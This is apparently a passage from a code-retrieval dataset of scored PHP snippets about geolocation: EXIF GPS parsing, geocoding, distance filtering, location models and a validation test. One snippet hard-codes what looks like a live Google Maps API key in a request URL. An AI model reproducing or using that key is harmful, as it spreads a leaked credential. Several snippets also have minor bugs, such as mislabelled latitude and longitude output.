"29eb833ab27117a9e2bdfcfd055eb012", "score": "0.5097793", "text": "public function latLng()\r\n {\r\n if ($this->attributes['geometry']['location']) {\r\n return $this->attributes['geometry']['location'];\r\n }\r\n return [];\r\n }", "title": "" }, { "docid": "328d17e780e567a183a74db09a7ff686", "score": "0.50939083", "text": "function read_gps_location($file) {\n if (is_file($file)) {\n\n// PHP bug https://bugs.php.net/bug.php?id=66443\n// return array(\n// 'lat' => '50.1353488',\n// 'lon' => '8.8760448'\n// );\n// END\n\n try {\n $info = exif_read_data($file, 'ANY_TAG');\n echo $file . ' info=' . var_dump($info['GPSLatitude']) . '<br>';\n if (!$info) {\n return array(\n 'lat' => '0',\n 'lon' => '0'\n );\n }\n\n if (isset($info['GPSLatitude']) && isset($info['GPSLongitude']) &&\n isset($info['GPSLatitudeRef']) && isset($info['GPSLongitudeRef']) &&\n in_array($info['GPSLatitudeRef'], array('E', 'W', 'N', 'S')) && in_array($info['GPSLongitudeRef'], array('E', 'W', 'N', 'S'))) {\n\n $GPSLatitudeRef = strtolower(trim($info['GPSLatitudeRef']));\n $GPSLongitudeRef = strtolower(trim($info['GPSLongitudeRef']));\n\n $lat_degrees_a = explode('/', $info['GPSLatitude'][0]);\n $lat_minutes_a = explode('/', $info['GPSLatitude'][1]);\n $lat_seconds_a = explode('/', $info['GPSLatitude'][2]);\n $lng_degrees_a = explode('/', $info['GPSLongitude'][0]);\n $lng_minutes_a = explode('/', $info['GPSLongitude'][1]);\n $lng_seconds_a = explode('/', $info['GPSLongitude'][2]);\n\n $lat_degrees = $lat_degrees_a[0] / $lat_degrees_a[1];\n $lat_minutes = $lat_minutes_a[0] / $lat_minutes_a[1];\n $lat_seconds = $lat_seconds_a[0] / $lat_seconds_a[1];\n $lng_degrees = $lng_degrees_a[0] / $lng_degrees_a[1];\n $lng_minutes = $lng_minutes_a[0] / $lng_minutes_a[1];\n $lng_seconds = $lng_seconds_a[0] / $lng_seconds_a[1];\n\n $lat = (float) $lat_degrees + ((($lat_minutes * 60) + ($lat_seconds)) / 3600);\n $lng = (float) $lng_degrees + ((($lng_minutes * 60) + ($lng_seconds)) / 3600);\n\n //If the latitude is South, make it negative.\n //If the longitude is west, make it negative\n $GPSLatitudeRef == 's' ? $lat *= -1 : '';\n $GPSLongitudeRef == 'w' ? $lng *= -1 : '';\n\n return array(\n 'lat' => $lat,\n 'lng' => $lng\n );\n }\n } catch (Exception $ex) {\n echo 'GPS not found: ' . $ex->getMessage() . '<br>';\n }\n }\n return array(\n 'lat' => '0',\n 'lon' => '0'\n );\n}", "title": "" }, { "docid": "994f3e8c6e2feabfddccd5f15aa60d6f", "score": "0.508218", "text": "abstract protected function validateLocation();", "title": "" }, { "docid": "1400e312c45e64ac902e97229d803365", "score": "0.5047178", "text": "private static function get_image_location($image = '')\n {\n $exif = exif_read_data($image, 0, true);\n if ($exif && isset($exif['GPS'])) {\n $GPSLatitudeRef = $exif['GPS']['GPSLatitudeRef'];\n $GPSLatitude = $exif['GPS']['GPSLatitude'];\n $GPSLongitudeRef = $exif['GPS']['GPSLongitudeRef'];\n $GPSLongitude = $exif['GPS']['GPSLongitude'];\n\n $lat_degrees = count($GPSLatitude) > 0 ? self::gps2Num($GPSLatitude[0]) : 0;\n $lat_minutes = count($GPSLatitude) > 1 ? self::gps2Num($GPSLatitude[1]) : 0;\n $lat_seconds = count($GPSLatitude) > 2 ? self::gps2Num($GPSLatitude[2]) : 0;\n\n $lon_degrees = count($GPSLongitude) > 0 ? self::gps2Num($GPSLongitude[0]) : 0;\n $lon_minutes = count($GPSLongitude) > 1 ? self::gps2Num($GPSLongitude[1]) : 0;\n $lon_seconds = count($GPSLongitude) > 2 ? self::gps2Num($GPSLongitude[2]) : 0;\n\n $lat_direction = ($GPSLatitudeRef == 'W' or $GPSLatitudeRef == 'S') ? -1 : 1;\n $lon_direction = ($GPSLongitudeRef == 'W' or $GPSLongitudeRef == 'S') ? -1 : 1;\n\n $latitude = $lat_direction * ($lat_degrees + ($lat_minutes / 60) + ($lat_seconds / (60 * 60)));\n $longitude = $lon_direction * ($lon_degrees + ($lon_minutes / 60) + ($lon_seconds / (60 * 60)));\n\n return array('latitude' => $latitude, 'longitude' => $longitude);\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "d26da8315c8483550fe727fabc4f12d5", "score": "0.504312", "text": "public function get_location_data( $entry, $form ) {\n\n\t\t// Check input parameters\n\t\tif ( ! isset($entry['id']) ) { return false; }\n\t\tif ( ! isset($form['id']) ) { return false; }\n\n\t\t// Init the locationData\n\t\t$locationData = array();\n\t\t$locationData['sl_store'] = 'test';\n\n\t\t// Check whether this is an existing location and get the data\n\t\t//\n\t\t$gflLocationID = gform_get_meta( $entry['id'], SLP_GFL_LOCATION_ID_SLUG );\n\t\t$curLocationData = $this->slplus->currentLocation->get_location( $gflLocationID );\n\n\t\t// Current Location Data found\n\t\tif ( ! is_wp_error( $curLocationData ) ) {\n\t\t\t$locationData = $this->slplus->currentLocation->locationData;\n unset( $locationData['id'] );\n\t\t\t$locationData['sl_id'] = $gflLocationID;\n\t\t}\n\n\t\t$locationData[SLP_GFL_ENTRY_ID_SLUG] = $entry['id'];\n\t\t$locationData[SLP_GFL_FORMS_ID_SLUG] = $form['id'];\n\t\t$locationData[SLP_GFL_MAPPING_ID_SLUG] = $this->id;\n\t\t$locationData[SLP_GFL_POST_ID_SLUG] = get_the_ID();\t// Get the post_id of the current post\n\t\t$locationData[SLP_GFL_RESUME_TOKEN_SLUG] = '';\n\n\n\t\t// Get the locationData from the $entry, using the $mapping fields\n\t\tforeach ($this->fields as $locationLabel => $entryLabel) {\n\t\t\t//$locationData[$locationLabel] = '';\n\t\t\tif (isset($entry[$entryLabel])) {\n\t\t\t\t$locationData[$locationLabel] = $this->gfl_get_value_entry_detail($entry[$entryLabel]);\n\t\t\t}\n\t\t}\n\n\t\t$this->debugMP('pr',__FUNCTION__ . ' locationData : ', $locationData);\n\n\t\treturn $locationData;\n\t}", "title": "" }, { "docid": "95c65170899cfb514ee37d82743464be", "score": "0.50382507", "text": "function amap_ma_geocode_location($location) {\n $coords = array();\n $google_api_key = trim(elgg_get_plugin_setting('google_api_key', AMAP_MA_PLUGIN_ID));\n $mapquest_api_key = trim(elgg_get_plugin_setting('mapquest_api_key', AMAP_MA_PLUGIN_ID));\n\n $geocoder = new \\Geocoder\\ProviderAggregator();\n $adapter = new \\Ivory\\HttpAdapter\\CurlHttpAdapter();\n $chain = new \\Geocoder\\Provider\\Chain([\n new \\Geocoder\\Provider\\GoogleMaps($adapter, $google_api_key),\n new \\Geocoder\\Provider\\MapQuest($adapter, $mapquest_api_key),\n ]);\n\n $geocoder->registerProvider($chain);\n\n try {\n $geocode = $geocoder->geocode($location);\n } catch (Exception $e) {\n error_log('amap_maps_api --------->' . $e->getMessage());\n return false;\n }\n\n if ($geocode->count() > 0) {\n $coords['lat'] = $geocode->first()->getLatitude();\n $coords['long'] = $geocode->first()->getLongitude();\n return $coords;\n }\n\n return false;\n}", "title": "" }, { "docid": "b6838bbd7c75e2aad0a273cf2b57c045", "score": "0.50236577", "text": "public static function location_merge_original_meta( $EM_Location, $location ){\n\t\t$EM_Location->location_parent = $location->location_id;\n\t\t$EM_Location->location_translation = 1;\n\t\t//set values over from original location\n\t\tif( empty($EM_Location->location_address) ) $EM_Location->location_address = $location->location_address;\n\t\tif( empty($EM_Location->location_town) ) $EM_Location->location_town = $location->location_town;\n\t\tif( empty($EM_Location->location_state) ) $EM_Location->location_state = $location->location_state;\n\t\tif( empty($EM_Location->location_region) ) $EM_Location->location_region = $location->location_region;\n\t\t$EM_Location->location_postcode = $location->location_postcode;\n\t\t$EM_Location->location_country = $location->location_country;\n\t\t$EM_Location->location_latitude = $location->location_latitude;\n\t\t$EM_Location->location_longitude = $location->location_longitude;\n\t\tself::location_merge_original_attributes($EM_Location, $location);\n\t}", "title": "" }, { "docid": "372686b6ddabbd6b99020ed2debe1594", "score": "0.49991173", "text": "public static function getFormattedLocation($question)\n {\n $location = Location::find($question->location_id);\n\n if (!count($location)){\n return [null, null, null, null];\n }\n\n return [\n $location->area,\n $location->city,\n $location->country,\n $location->area .' '. $location->city .' '. $location->country\n ];\n }", "title": "" }, { "docid": "f2ba753708ef9d7c18d22ced652f243d", "score": "0.4968861", "text": "abstract public function getCoordinates(array $addressInfo);", "title": "" }, { "docid": "70b402d797e69612d58ee084c41f3f09", "score": "0.49661314", "text": "private function getLocationValues($item) {\n $type = false;\n\n if(!is_object($item))\n return false;\n\n $type = reset($item->types);\n\n if($type === 'political')\n $type = end($item->types);\n\n $this->locationValues->$type = $item->long_name;\n }", "title": "" }, { "docid": "fd171a82942a1c9d5d9127637253784e", "score": "0.49336812", "text": "public function getLocation(): array;", "title": "" }, { "docid": "ad63b99fc0ec62d93b03e7340db9cfe9", "score": "0.4924928", "text": "function defineCoords($coords) {\n\tif (is_string($coords)) {\n\t\t$coordString = preg_replace('/ /', '', $coords);\n\t\t$coords = explode(',', $coordString);\n\t}\n\tif (count($coords)>4) {\n\t\treturn false;\n\t}\n\t$fields = array('x1','y1','x2','y2');\n\t$coords = array_combine ($fields, $coords);\n\t$coords['minX'] = min($coords['x1'],$coords['x2']);\n\t$coords['maxX'] = max($coords['x1'],$coords['x2']);\n\t$coords['minY'] = min($coords['y1'],$coords['y2']);\n\t$coords['maxY'] = max($coords['y1'],$coords['y2']);\n\treturn $coords;\n}", "title": "" }, { "docid": "6cf99a5a125a7617c52c60566c320a5a", "score": "0.49201882", "text": "public function getAssoc_geoloc() {\n $slugLine = array();\n if (! empty($this->listIds)) {\n if (is_array($this->listIds))\n $listIds = $this->listIds;\n else\n $listIds = unserialize($this->listIds);\n \n $list = wcmList::getListFromParentCode(\"News_geo_targets\");\n \n foreach ($listIds as $listId) {\n if (array_key_exists($listId, $list)) {\n $thema = new wcmList();\n $thema->refresh($listId);\n \n $slug = array();\n $slug[\"type\"] = \"geoloc\";\n $slug[\"id\"] = $thema->id;\n $slug[\"label\"] = $thema->label;\n $slug[\"title\"] = getConst($thema->label);\n \n $slugLine[] = $slug;\n \n }\n }\n\t\t\t\t\t\t\n }\n \n return ($slugLine);\n }", "title": "" }, { "docid": "80e699de847652a13da07a8d26d0933c", "score": "0.49158978", "text": "abstract public function longitude();", "title": "" }, { "docid": "b5812fcb82f6424e887c44835de85094", "score": "0.49111956", "text": "protected function geoJsonToCoordinates()\n {\n if (!empty($this->owner->{$this->attribute})) {\n $this->owner->{$this->attribute} = GeoJsonHelper::toArray($this->owner->{$this->attribute});\n }\n }", "title": "" }, { "docid": "fb48cdf3bb8c005b4383d4089805db36", "score": "0.48884222", "text": "public function setCoordinatesFromAddress(): bool\n {\n if (!$this->address) {\n return true;\n }\n $this->latitude = $this->address['latlng']['lat'];\n $this->longitude = $this->address['latlng']['lng'];\n return $this->save();\n }", "title": "" }, { "docid": "6c56dea8e41c6ee973f776ca374d6274", "score": "0.4869883", "text": "function _autofill_geo_cpfs($row)\n{\n require_code('cns_members');\n require_code('locations');\n require_code('locations_geocoding');\n\n $latitude_field = find_cms_cpf_field_id('cms_latitude');\n $longitude_field = find_cms_cpf_field_id('cms_longitude');\n\n $street_address_field = find_cms_cpf_field_id('cms_street_address');\n $city_field = find_cms_cpf_field_id('cms_city');\n $county_field = find_cms_cpf_field_id('cms_county');\n $state_field = find_cms_cpf_field_id('cms_state');\n $post_code_field = find_cms_cpf_field_id('cms_post_code');\n $country_field = find_cms_cpf_field_id('cms_country');\n\n $has_street_address = (!is_null($street_address_field)) && (!empty($row['field_' . strval($street_address_field)]));\n $has_city = (!is_null($city_field)) && (!empty($row['field_' . strval($city_field)]));\n $has_county = (!is_null($county_field)) && (!empty($row['field_' . strval($county_field)]));\n $has_state = (!is_null($state_field)) && (!empty($row['field_' . strval($state_field)]));\n $has_post_code = (!is_null($post_code_field)) && (!empty($row['field_' . strval($post_code_field)]));\n $has_country = (!is_null($country_field)) && (!empty($row['field_' . strval($country_field)]));\n $has_latitude = (!is_null($latitude_field)) && (!empty($row['field_' . strval($latitude_field)]));\n $has_longitude = (!is_null($longitude_field)) && (!empty($row['field_' . strval($longitude_field)]));\n\n $has_address = $has_city && $has_country;\n $has_gps = $has_latitude && $has_longitude;\n $has_ip = !empty($row['m_ip_address']);\n\n $changes = array();\n\n // GPS from address\n if ((!$has_latitude || !$has_longitude) && (isset($latitude_field)) && (isset($longitude_field))) {\n if ($has_address) {\n $address_components = array();\n if ($has_street_address) {\n $address_components[] = $row['field_' . strval($street_address_field)];\n }\n if ($has_city) {\n $address_components[] = $row['field_' . strval($city_field)];\n }\n if ($has_county) {\n $address_components[] = $row['field_' . strval($county_field)];\n }\n if ($has_state) {\n $address_components[] = $row['field_' . strval($state_field)];\n }\n if ($has_post_code) {\n $address_components[] = $row['field_' . strval($post_code_field)];\n }\n if ($has_country) {\n $address_components[] = $row['field_' . strval($country_field)];\n }\n\n $gps_parts = geocode(implode(', ', $address_components));\n if (!is_null($gps_parts)) {\n list($latitude, $longitude) = $gps_parts;\n if (!$has_latitude) {\n $changes['field_' . strval($latitude_field)] = $latitude;\n }\n if (!$has_longitude) {\n $changes['field_' . strval($longitude_field)] = $longitude;\n }\n }\n }\n }\n\n // Address from GPS (or IP)\n if (!$has_city || !$has_county || !$has_state || !$has_country) {\n if ($has_gps) {\n $latitude = $row['field_' . strval($latitude_field)];\n $longitude = $row['field_' . strval($longitude_field)];\n\n $address_parts = reverse_geocode($latitude, $longitude);\n if (!is_null($address_parts)) {\n list(, , $city, $county, $state, , $country) = $address_parts;\n if (!$has_city && !empty($city) && (!empty($row['field_' . strval($city_field)]))) {\n $changes['field_' . strval($city_field)] = $city;\n }\n if (!$has_county && !empty($county) && (!empty($row['field_' . strval($county_field)]))) {\n $changes['field_' . strval($county_field)] = $county;\n }\n if (!$has_state && !empty($state) && (!empty($row['field_' . strval($state_field)]))) {\n $changes['field_' . strval($state_field)] = $state;\n }\n if (!$has_country && !empty($country) && (!empty($row['field_' . strval($country_field)]))) {\n $changes['field_' . strval($country_field)] = $country;\n }\n // We cannot reliably geocode street addresses, so we don't go deeper than cities. We geocode *from* this to get GPS, but not vice-versa.\n }\n } elseif ($has_ip && !$has_country) {\n $country = geolocate_ip($row['m_ip_address']);\n if (!empty($country)) {\n $changes['field_' . strval($country_field)] = $country;\n }\n }\n }\n\n // Save\n if (!empty($changes)) {\n $GLOBALS['FORUM_DB']->query_update('f_member_custom_fields', $changes, array('mf_member_id' => $row['mf_member_id']), '', 1);\n }\n}", "title": "" }, { "docid": "0e2cc22433e7ca365ad571b22b38a289", "score": "0.48632848", "text": "public function isGeocoded()\n {\n return (\n !empty($this->owner->{$this->latitudeAttribute}) &&\n !empty($this->owner->{$this->longitudeAttribute})\n );\n }", "title": "" }, { "docid": "c5f7942c27304d6afd605b1d07bb0cb4", "score": "0.4854306", "text": "function save_user_loc($db, $user_id, $user_loc)\n{\n\ttry\n\t{\n\t\t$user_loc_tab = explode(',', $user_loc);\n\t\t$stmt = $db->conn->prepare(\"SELECT user_true_long, user_true_lat FROM profils WHERE user_id = :user_id\");\n\t\t$stmt->execute(array(':user_id'=>$user_id));\n\t\t$row = $stmt->fetch(PDO::FETCH_ASSOC);\n\t\tif ($row['user_true_long'] != $user_loc_tab[1] || $row['user_true_lat'] != $user_loc_tab[0])\n\t\t{\n\t\t\t$stmt = $db->conn->prepare(\"UPDATE profils SET user_true_long = :user_long, user_true_lat = :user_lat, user_true_city = :user_city, user_true_city_code = :user_city_code, user_true_country = :user_country WHERE user_id = :user_id\");\n\t\t\t$stmt->execute(array(':user_id'=>$user_id, ':user_long'=>$user_loc_tab[1], ':user_lat'=>$user_loc_tab[0], ':user_city'=>$user_loc_tab[2], ':user_city_code'=>$user_loc_tab[3], ':user_country'=>$user_loc_tab[4]));\n\t\t}\n\t}\n\tcatch(PDOExeption $e)\n\t{\n\t\techo $e->getMessage();\n\t}\n}", "title": "" }, { "docid": "5717cb46f80adf4bcef0c194f6c813b9", "score": "0.48502785", "text": "function get_snapped_point ($lat, $lng)\n{\n $options = array(\n 'http' => array(\n 'header' => \"Content-type: application/json\",\n 'method' => 'GET' \n )\n );\n \n //ATTENTION :Replace your own api_key\n $api_key=\"key\";\n $url_arr = array(\"https://roads.googleapis.com/v1/nearestRoads?points=$lat,$lng&key=\".$api_key,\n \"https://roads.googleapis.com/v1/snapToRoads?path=$lat,$lng&key=\".$api_key);\n\n $url= $url_arr[array_rand($url_arr)];\n $context = stream_context_create($options);\n\n $result = file_get_contents($url, false, $context);\n $result_arr=json_decode($result,true);\n\n \n return ($result_arr[\"snappedPoints\"][0][\"location\"]);\n}", "title": "" }, { "docid": "16ce41a8c1b9a6c8d533b011d64d2b22", "score": "0.48502126", "text": "public function getItemsOnMap()\n{\n$book = json_decode(file_get_contents(\"php://input\"));\n$longitude = $book->{'longitude'};\n$latitude = $book->{'latitude'};\n$site = $this->boss_model->getSiteByDistance($longitude, $latitude);\n$event = $this->event_model->getEventByDistance($longitude, $latitude);\n$honey = $this->honey_model->getHoneyByDistance($longitude, $latitude);\nif(count($site)>0 || count($event)>0 || count($honey)>0){\necho json_encode(array('status' => true, 'site' => $site, 'event' => $event, 'honey' => $honey), 200);\n} else {\necho json_encode(array('status' => false), 200);\n}\n}", "title": "" }, { "docid": "aab2b39ba19f12224b13d9cd63c7d371", "score": "0.48481956", "text": "function location_cmn($lat, $long, $usegeolocation, $customerno = null) {\n $address = NULL;\n $customerno = (!isset($customerno)) ? $_SESSION['customerno'] : $customerno;\n if (isset($lat) && isset($long)) {\n $GeoCoder_Obj = new GeoCoder($customerno);\n $address = $GeoCoder_Obj->get_location_bylatlong($lat, $long);\n }\n return $address;\n}", "title": "" }, { "docid": "6cdbfa6a79480609b0717fb8c63d37dc", "score": "0.4845939", "text": "public function getLocationAttribute($value)\n {\n \n $loc = substr($value, 6);\n $loc = preg_replace('/[ ,]+/', ', ', $loc, 1);\n \n return substr($loc, 0, -1);\n }", "title": "" }, { "docid": "8c5e1fcb23f35903ae0149a9100c1522", "score": "0.48379818", "text": "public static function filterByLocation(string $input, array $array, string $radius){\n // Generate Lat / Lng coordinates from the input string\n $sanitised = strip_tags($input);\n $sanitised = str_replace(' ', '+', $sanitised) . '+' . 'United+Kingdom';\n $geocode = file_get_contents('https://maps.googleapis.com/maps/api/geocode/json?address='. $sanitised . '&key=AIzaSyC3qcHAQ5zr2mt_Zux_nLSoryBNo1zpIN4');\n $geocodeOutput = json_decode($geocode);\n if ( isset($geocodeOutput->results[0]) ) {\n $givenData = array(\n 'lat' => $geocodeOutput->results[0]->geometry->location->lat,\n 'lng' => $geocodeOutput->results[0]->geometry->location->lng,\n );\n } else {\n die();\n }\n\n foreach ( $array as $k => $singleProperty ){\n // Get the Lat / Lng coords from the looped array\n $propertyAddress = $singleProperty['Address'];\n $propertyLocation = $propertyAddress['Location'];\n $propertyGeocode = array(\n 'lat' => $propertyLocation['Latitude'],\n 'lng' => $propertyLocation['Longitude'],\n );\n\n // Working out distance between the two locations.\n $theta = $givenData['lng'] - $propertyGeocode['lng']; \n $distance = (sin(deg2rad($givenData['lat'])) * sin(deg2rad($propertyGeocode['lat']))) + (cos(deg2rad($givenData['lat'])) * cos(deg2rad($propertyGeocode['lat'])) * cos(deg2rad($theta))); \n $distance = acos($distance); \n $distance = rad2deg($distance); \n $distance = $distance * 60 * 1.1515; \n $distance = ceil($distance);\n\n if ( $distance > $radius ) {\n unset($array[$k]);\n }\n }\n return $array;\n }", "title": "" }, { "docid": "a07bd3cd4d6fca0cf3d048354d1fe1e9", "score": "0.48126248", "text": "function get_location($locParams, $feature){\n\t//echo \"get_location just got called with feature: \".$feature;\n\t//based on the feature, select what service to call to get latitude and longitude pairs\n\tif ($feature === \"heatmap\" || $feature === \"forecasted_heatmap\")\n\t{\n\t\t//echo \"locServHeat is about to be called\";\n\t\t$latLongLC = callLocServHeat($locParams); //array of (latitude,longitiude)\n\t\treturn $latLongLC;\n\n\t}\n\telse if ($feature === \"route\" || $feature === \"forecasted_route\"){\n\n\t\t$latLongLC = callLocServRoute($locParams); //array of (startlat,startlng,endlat, endlng)\n\t\treturn $latLongLC;\n\n\t}\n\n}", "title": "" }, { "docid": "1576bba972aacc8a2e6e47e5b9315675", "score": "0.48114452", "text": "function wpsl_get_location_fields( $args = array() ) {\n\n // Required to make sure it works with API calls.\n if ( !class_exists( 'WPSL_Metaboxes' ) ) {\n require_once( WPSL_PLUGIN_DIR . 'admin/class-metaboxes.php' );\n }\n\n $metaboxes = new WPSL_Metaboxes();\n $meta_fields = $metaboxes->meta_box_fields();\n\n $fields = array();\n $defaults = array(\n 'exclude' => array( 'country_iso' ),\n 'prefix' => '',\n 'set_values' => true\n );\n\n /**\n * Parse incoming $args into an array and merge it with $defaults\n */\n $args = wp_parse_args( $args, $defaults );\n\n foreach ( $meta_fields as $k => $field_section ) {\n foreach ( $field_section as $field_name => $field_value ) {\n if ( in_array( $field_name, $args['exclude'] ) ) {\n continue;\n }\n $fields[$args['prefix'] . $field_name] = ( $args['set_values'] ) ? $field_name : '';\n }\n }\n return $fields;\n}", "title": "" }, { "docid": "684da51d9a905a291426fb3223e9d27a", "score": "0.48108798", "text": "public function test_lat_lon_validation()\n {\n /*\n * Valid\n */\n $validLatLonLocation = Location::factory()->make([\n 'latitude' => '53.481932',\n 'longitude' => '-2.235981',\n ]);\n $validLatLonData = $validLatLonLocation->toArray();\n $this->post($this->route(), $validLatLonData)->assertStatus(201);\n\n /*\n * Invalid: missing\n */\n $missingLatLonLocation = Location::factory()->make();\n $missingLatLonData = $missingLatLonLocation->toArray();\n unset($missingLatLonData['latitude']);\n unset($missingLatLonData['longitude']);\n\n $response = $this->post($this->route(), $missingLatLonData);\n $response->assertStatus(400);\n $response->assertJsonPath('meta.field_errors.latitude', 'The latitude field is required.');\n $response->assertJsonPath('meta.field_errors.longitude', 'The longitude field is required.');\n\n /*\n * Invalid: Not numerical\n *\n * Setting the values in `->make()` doesn't work as required because\n * the model casts those values to float, meaning our erroneous values\n * get converted to valid ones by the time we run the tests.\n */\n $nonNumericalLocation = Location::factory()->make();\n $nonNumericalData = $nonNumericalLocation->toArray();\n $nonNumericalData['latitude'] = 'invalid';\n $nonNumericalData['longitude'] = 'invalid';\n\n $response = $this->post($this->route(), $nonNumericalData);\n $response->assertStatus(400);\n $response->assertJsonPath('meta.field_errors.latitude', 'The latitude must be a number.');\n $response->assertJsonPath('meta.field_errors.longitude', 'The longitude must be a number.');\n\n /*\n * Invalid: Out of range, min\n */\n $nonNumericalLocation = Location::factory()->make([\n 'latitude' => '-91.234567',\n 'longitude' => '-181.234567',\n ]);\n $nonNumericalData = $nonNumericalLocation->toArray();\n\n $response = $this->post($this->route(), $nonNumericalData);\n $response->assertStatus(400);\n $response->assertJsonPath('meta.field_errors.latitude', 'The latitude must be at least -90.');\n $response->assertJsonPath('meta.field_errors.longitude', 'The longitude must be at least -180.');\n\n /*\n * Invalid: Out of range, max\n */\n $nonNumericalLocation = Location::factory()->make([\n 'latitude' => '91.234567',\n 'longitude' => '181.234567',\n ]);\n $nonNumericalData = $nonNumericalLocation->toArray();\n\n $response = $this->post($this->route(), $nonNumericalData);\n $response->assertStatus(400);\n $response->assertJsonPath('meta.field_errors.latitude', 'The latitude must not be greater than 90.');\n $response->assertJsonPath('meta.field_errors.longitude', 'The longitude must not be greater than 180.');\n }", "title": "" }, { "docid": "c8a074581701223d9cafdeb41df664b7", "score": "0.48029616", "text": "public function getFreeSpots() {\n\t\t$jsonResponse = array();\n\t\tif ( isset($_POST['lat']) && isset($_POST['lng']) ) {\n\t\t\t$result = $this->model->getFreeSpotsFromDB($_POST['lat'], $_POST['lng']);\n\t\t\tforeach ($result as $row) {\n\t\t\t\t$row['level'] = Session::getUserLevel();\n\t\t\t\t$jsonResponse[$row['fs_metaInfo']][] = $row;\n\t\t\t}\n\t\t\techo json_encode($jsonResponse);\n\t\t}else {\n\t\t\tself::sendAPIerror(406, 'Incorrect parameters. You must supply latitude and longtitude from which you want to take the spots');\n\t\t}\n\t}", "title": "" }, { "docid": "c0defb51cde0a6e60aa096b9ba5e2ff6", "score": "0.4799472", "text": "function add_location_and_tag_fields($input, $field, $value, $lead_id, $form_id) {\n \n $field_css_class = $field['cssClass'];\n $input_name_id = $field['id'];\n $location = \t\t'gp_google_geo_location';\n $latitude = \t\t'gp_google_geo_latitude';\n $longitude = \t\t'gp_google_geo_longitude';\n $country = \t\t\t'gp_google_geo_country';\n $admin_lvl_one = \t'gp_google_geo_administrative_area_level_1';\n $admin_lvl_two = \t'gp_google_geo_administrative_area_level_2';\n $admin_lvl_three = \t'gp_google_geo_administrative_area_level_3';\n $locality = \t\t'gp_google_geo_locality';\n $locality_slug = \t'gp_google_geo_locality_slug';\n $user_tags = 'gp_user_tags';\n $notification_set = 'notification_setting';\n $weekly_email = 'weekly_email';\n $monthly_email = 'monthly_email';\n $type = 'type=\"hidden\"';\n $read_only = \t\t'readonly=\"readonly\"'; \n \n # Check css class name for match with location class names above and define id on match\n switch ($field_css_class) {\n case $location:\n $type = 'type=\"text\"';\n $read_only = '';\n $input_id = $location;\n break;\n case $latitude:\n $input_id = $latitude;\n break;\n case $longitude:\n $input_id = $longitude;\n break;\n case $country:\n $input_id = $country;\n break;\n case $admin_lvl_one:\n $input_id = $admin_lvl_one;\n break;\n case $admin_lvl_two:\n $input_id = $admin_lvl_two;\n break;\n case $admin_lvl_three:\n $input_id = $admin_lvl_three;\n break;\n case $locality:\n $input_id = $locality;\n break;\n case $locality_slug:\n $input_id = $locality_slug;\n break;\n case $user_tags:\n $type = 'type=\"text\"'; \n $read_only = '';\n $input_id = $user_tags;\n break;\n case $notification_set:\n $type = 'type=\"radio\"';\n $read_only = '';\n $input_id = $notification_set;\n break;\n }\n\n switch ($type) {\n case 'type=\"radio\"':\n $input = (isset($input_id)) ? get_correct_radio_buttons($input_name_id, $input_id, $type, $read_only) : '';\n break;\n default:\n $input = (isset($input_id)) ? get_correct_input_field($input_name_id, $input_id, $type, $read_only) : '';\n }\n \n return $input;\n}", "title": "" }, { "docid": "c0964dd4a01818351e0d2823abf089ff", "score": "0.479916", "text": "public function prepareArrayLocationTranslations($res, $dontShowLocations)\n {\n $locationIDs = HelperClass::getIdsByDelimiter($res['locationCheckList'], '\"', '\"');\n\n if ($dontShowLocations == 1) {\n $res['locationIDs'] = $locationIDs;\n unset($res['locationCheckList']);\n return $res;\n }\n\n $locationsString = \"\";\n $query = 'SELECT `name` FROM `tl_ixe_locationdata` WHERE ';\n $idQuery = HelperClass::getMultipleIdsQuery($locationIDs);\n $query .= $idQuery;\n $query .= ' ORDER BY `name` ASC';\n $locationRes = \\Database::getInstance()->prepare($query)->execute()->fetchAllAssoc();\n\n foreach($locationRes as $key => $currentArray)\n {\n $locationsString .= $currentArray['name'].\", \";\n }\n // remove space and comata by last entry\n if (!empty($locationsString))\n {\n $locationsString = substr($locationsString, 0, -2);\n $res['locationCheckList'] = $locationsString;\n $res['locationIDs'] = $locationIDs;\n } else {\n unset($res['locationCheckList']);\n $res['locationIDs'] = [];\n }\n\n return $res;\n }", "title": "" }, { "docid": "e2ac1af4d2c6a5d4a54cc32f38aa3000", "score": "0.47961608", "text": "function make_location_item($row)\r\n{\r\n\t$output = '';\r\n\tob_start();\r\n?>\r\n\t\t\t<Placemark>\r\n\t\t\t\t<Point>\r\n\t\t\t\t\t<altitudeMode>clampToGround</altitudeMode>\r\n\t\t\t\t\t<coordinates><?php echo(htmlspecialchars($row['longitude']) . ', ' . htmlspecialchars($row['latitude'])); ?></coordinates>\r\n\t\t\t\t\t<extrude>1</extrude>\r\n\t\t\t\t</Point>\r\n\t\t\t\t<name><?php echo(htmlspecialchars($row['timestamp'] . \" \" . $row['user'])); ?></name>\r\n\t\t\t\t<description><![CDATA[<b>GPS fix for <?php echo(htmlspecialchars($row['user'])); ?></b><br/>\r\n\t\t\t\t<i>Latitude:</i> <?php echo(htmlspecialchars($row['latitude'])); ?>&#176;<br/>\r\n\t\t\t\t<i>Longitude:</i> <?php echo(htmlspecialchars($row['latitude'])); ?>&#176;<br/>\r\n\t\t\t\t<i>Elevation:</i> <?php echo(htmlspecialchars($row['altitude'])); ?>m<br/>\r\n\t\t\t\t<i>Speed:</i> <?php echo(htmlspecialchars($row['speed'])) ?>km/h<br/>\r\n\t\t\t\t<i>Time:</i> <?php echo(htmlspecialchars($row['timestamp'])); ?> ]]></description>\r\n\t\t\t\t<TimeStamp>\r\n\t\t\t\t\t<when><?php echo(htmlspecialchars($row['timestamp'])); ?>+01:00</when>\r\n\t\t\t\t</TimeStamp>\r\n\t\t\t\t<styleUrl>#gps_fix</styleUrl>\r\n\t\t\t</Placemark>\r\n<?php \r\n\t$output = ob_get_clean();\r\n\treturn $output;\r\n}", "title": "" }, { "docid": "9f27ac739144de0fbaa1e110bb493672", "score": "0.47947165", "text": "function get_location_by_latitude_longitude_from_google($x, $y, $field){\n \t\t$results=json_decode(file_get_contents(\"http://maps.googleapis.com/maps/api/geocode/json?latlng=\".$x.\",\".$y.\"&sensor=false\"), true);\n \t\t//print_r($results);\n \t\t\n \t\tif($field == 'title') {\n \t\t\tif($results['status']!='ZERO_RESULTS'){\n \t\t\treturn $results['results'][0]['formatted_address'];\n \t\t\t}else{\n \t\t\treturn 'Activity';\n \t\t\t}\n\t\t} else {\n\t\t\t if($results['status']!='ZERO_RESULTS'){\n\t\t\t \t$address_count = count($results['results'][0]['address_components']);\n \t\t\treturn $results['results'][0]['address_components'][$address_count-2]['long_name'];\n \t\t\t}else{\n \t\t\treturn null;\n \t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": 